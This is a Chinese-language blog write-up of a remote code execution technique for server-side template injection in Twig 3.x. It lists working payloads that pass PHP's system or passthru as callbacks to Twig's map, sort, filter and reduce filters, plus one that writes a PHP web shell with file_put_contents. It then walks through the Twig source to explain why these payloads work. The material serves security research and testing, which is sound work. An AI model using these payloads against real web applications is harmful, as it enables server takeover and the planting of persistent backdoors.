上次发了一篇Twig 3.x with Symfony的SSTI利用方法,这几天刷twitter的时候又看到了一篇writeup,里面提到了另外一种rce的方法,这种方法不依赖于Symfony。
payloads
直接上结论,下面的payload在Twig 3.x 版本测试通过,看了1.x和2.x版本的代码,应该也是可以利用的。
{{["id"]|map("system")|join(",")}}
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
分析
map
文档里面map的用法
允许用户传一个arrow function, arrow function最后会变成一个closure
举个例子
{{["man"]|map((arg)=>"hello #{arg}")}}
会被编译成
1 | twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null)) |
map
对应的函数是twig_array_map
,下面是其实现
1 | function twig_array_map($array, $arrow) |
从上面的代码我们可以看到,$arrow 是可控的,可以不传arrow function,可以只传一个字符串。所以我们需要找个两个参数的能够命令执行的危险函数即可。通过查阅常见的命令执行函数:
system ( string
$command
[, int&$return_var
] ) : stringpassthru ( string
$command
[, int&$return_var
] )exec ( string
$command
[, array&$output
[, int&$return_var
]] ) : stringpopen ( string
$command
, string$mode
)shell_exec ( string
$cmd
) : string
只要可以传两个参数的基本都可以,所以前四个都是可以用的。
思考一下如果上面的都被禁了,还有其他办法吗?
file_put_contents ( string
$filename
, mixed$data
[, int$flags
= 0 [, resource$context
]] ) : int
通过{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
写个shell 也是可以的。
当然了应该还有其他函数可以利用。
下面通过调试来看一下传arrow fucntion 和 直接传字符串会有什么不同。
(arg)=>”hello #{arg}”` 会被解析成ArrowFunctionExpression,经过一些列处理会变成一个闭包函数。
但是如果我们传的是 `{{["id"]|map("passthru")}}
passthru
会被解析成 ConstanExpression
{{["id"]|map("passthru")}}
最终会被编译成下面这样
1 | twig_array_map([0 => "whoami"], "passthru") |
按照这个思路,我们去找$arrow 参数的, 可以发现下面几个filter也是可以利用的
sort
1 | function twig_sort_filter($array, $arrow = null) |
usort ( array
&$array
, callable$value_compare_func
) : bool
所以我们可以构造
1 | {{["id", 0]|sort("passthru")}} |
filter
1 | function twig_array_filter($array, $arrow) |
array_filter ( array
$array
[, callable$callback
[, int$flag
= 0 ]] ) : array
只需要传一个参数即可
1 | {{["id"]|filter('system')}} |
reduce
1 | function twig_array_reduce($array, $arrow, $initial = null) |
array_reduce ( array
$array
, callable$callback
[, mixed$initial
=NULL
] ) : mixed
刚开始构造还是像前面那样构造成了
1 | {{["id", 0]|reduce("passthru")}} |
但是会发现没有执行成功,是因为第一次调用的是passthru($initial, "id")
, $initial
是null,所以会失败。所以把$initial
赋值成要执行的命令即可
1 | {{[0, 0]|reduce("passthru", "id")}} |
不知道有没有自动化fuzz,把php允许有callback参数的所有函数找出来,如果有师傅研究过,欢迎来交流。